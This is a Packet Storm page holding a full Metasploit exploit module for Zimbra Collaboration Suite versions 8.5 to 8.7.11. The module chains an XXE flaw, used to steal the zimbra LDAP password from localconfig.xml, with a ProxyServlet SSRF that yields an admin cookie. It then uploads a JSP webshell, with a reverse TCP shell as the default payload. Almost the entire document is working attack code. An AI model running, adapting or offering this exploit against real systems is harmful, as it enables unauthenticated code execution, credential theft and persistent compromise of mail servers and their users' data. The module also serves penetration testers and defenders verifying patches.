Lucene search

K
packetstormJacob RoblesPACKETSTORM:152487
HistoryApr 11, 2019 - 12:00 a.m.

Zimbra Collaboration Autodiscover Servlet XXE / ProxyServlet SSRF

2019-04-1100:00:00
Jacob Robles
packetstormsecurity.com
1681

0.975 High

EPSS

Percentile

100.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',  
'Description' => %q{  
This module exploits an XML external entity vulnerability and a  
server side request forgery to get unauthenticated code execution  
on Zimbra Collaboration Suite. The XML external entity vulnerability  
in the Autodiscover Servlet is used to read a Zimbra configuration  
file that contains an LDAP password for the 'zimbra' account. The  
zimbra credentials are then used to get a user authentication cookie  
with an AuthRequest message. Using the user cookie, a server side request  
forgery in the Proxy Servlet is used to proxy an AuthRequest with  
the 'zimbra' credentials to the admin port to retrieve an admin  
cookie. After gaining an admin cookie the Client Upload servlet is  
used to upload a JSP webshell that can be triggered from the web  
server to get command execution on the host. The issues reportedly  
affect Zimbra Collaboration Suite v8.5 to v8.7.11.  
  
This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64  
UBUNTU16_64 FOSS edition.  
},  
'Author' =>  
[  
'An Trinh', # Discovery  
'Khanh Viet Pham', # Discovery  
'Jacob Robles' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-9670'],  
['CVE', '2019-9621'],  
['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html']  
],  
'Platform' => ['linux'],  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DefaultOptions' => {  
'RPORT' => 8443,  
'SSL' => true,  
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'  
},  
'Stance' => Stance::Aggressive,  
'DefaultTarget' => 0,  
'DisclosureDate' => '2019-03-13' # Blog post date  
))  
  
register_options [  
OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),  
OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])  
]  
end  
  
def xxe_req(data)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, '/autodiscover'),  
'encode_params' => false,  
'data' => data  
})  
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503  
res  
end  
  
def soap_discover(check_soap=false)  
xml = REXML::Document.new  
  
xml.add_element('Autodiscover')  
xml.root.add_element('Request')  
  
req = xml.root.elements[1]  
  
req.add_element('EMailAddress')  
req.add_element('AcceptableResponseSchema')  
  
replace_text = 'REPLACE'  
req.elements['EMailAddress'].text = Faker::Internet.email  
req.elements['AcceptableResponseSchema'].text = replace_text  
  
doc = rand_text_alpha_lower(4..8)  
entity = rand_text_alpha_lower(4..8)  
local_file = '/etc/passwd'  
  
res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"  
if check_soap  
local = "file://#{local_file}"  
res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"  
res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"  
else  
local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"  
res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"  
res << "%#{entity};]>"  
res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"  
end  
res  
end  
  
def soap_auth(zimbra_user, zimbra_pass, admin=true)  
urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount'  
xml = REXML::Document.new  
  
xml.add_element(  
'soap:Envelope',  
{'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'}  
)  
  
xml.root.add_element('soap:Body')  
body = xml.root.elements[1]  
body.add_element(  
'AuthRequest',  
{'xmlns' => urn}  
)  
  
zimbra_acc = body.elements[1]  
zimbra_acc.add_element(  
'account',  
{'by' => 'adminName'}  
)  
zimbra_acc.add_element('password')  
  
zimbra_acc.elements['account'].text = zimbra_user  
zimbra_acc.elements['password'].text = zimbra_pass  
  
xml.to_s  
end  
  
def cookie_req(data)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, '/service/soap/'),  
'data' => data  
})  
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200  
res  
end  
  
def proxy_req(data, auth_cookie)  
target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}"  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, '/service/proxy/'),  
'vars_get' => {'target' => target},  
'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}",  
'data' => data,  
'headers' => {'Host' => "#{datastore['RHOST']}:7071"}  
})  
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200  
res  
end  
  
def upload_file(file_name, contents, cookie)  
data = Rex::MIME::Message.new  
data.add_part(file_name, nil, nil, 'form-data; name="filename1"')  
data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"")  
data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"')  
post_data = data.to_s  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data,  
'cookie' => cookie  
})  
end  
  
def check  
begin  
res = xxe_req(soap_discover(true))  
rescue Msf::Exploit::Failed  
return CheckCode::Unknown  
end  
  
if res.body.include?('zimbra')  
return CheckCode::Vulnerable  
end  
  
CheckCode::Unknown  
end  
  
def on_request_uri(cli, req)  
ent_file = rand_text_alpha_lower(4..8)  
ent_eval = rand_text_alpha_lower(4..8)  
  
dtd = <<~HERE  
<!ENTITY % #{ent_file} SYSTEM "file:///opt/zimbra/conf/localconfig.xml">  
<!ENTITY % #{ent_eval} "<!ENTITY #{@ent_data} '<![CDATA[%#{ent_file};]]>'>">  
%#{ent_eval};  
HERE  
send_response(cli, dtd)  
end  
  
def primer  
datastore['SSL'] = @ssl  
res = xxe_req(soap_discover)  
fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m  
password = $1  
username = 'zimbra'  
  
print_good("Password found: #{password}")  
  
data = soap_auth(username, password, false)  
res = cookie_req(data)  
  
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/  
auth_cookie = $1  
  
print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}")  
  
data = soap_auth(username, password)  
res = proxy_req(data, auth_cookie)  
  
fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/  
admin_cookie = $1  
  
print_good("Admin cookie retrieved: #{admin_cookie}")  
  
stager_name = "#{rand_text_alpha(8..16)}.jsp"  
print_status('Uploading jsp shell')  
res = upload_file(stager_name, payload.encoded, admin_cookie)  
  
fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200  
# Only shell sessions are supported  
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name}' -type f)")  
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*1StreamConnector.class' -type f)")  
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*class' -type f)")  
register_file_for_cleanup("$(find /opt/zimbra/ -regex '.*downloads/.*#{stager_name[0...-4]}.*java' -type f)")  
  
print_status("Executing payload on /downloads/#{stager_name}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"),  
'cookie' => admin_cookie  
})  
end  
  
def exploit  
@ent_data = rand_text_alpha_lower(4..8)  
@ssl = datastore['SSL']  
datastore['SSL'] = false  
Timeout.timeout(datastore['HTTPDELAY']) { super }  
rescue Timeout::Error  
end  
end  
`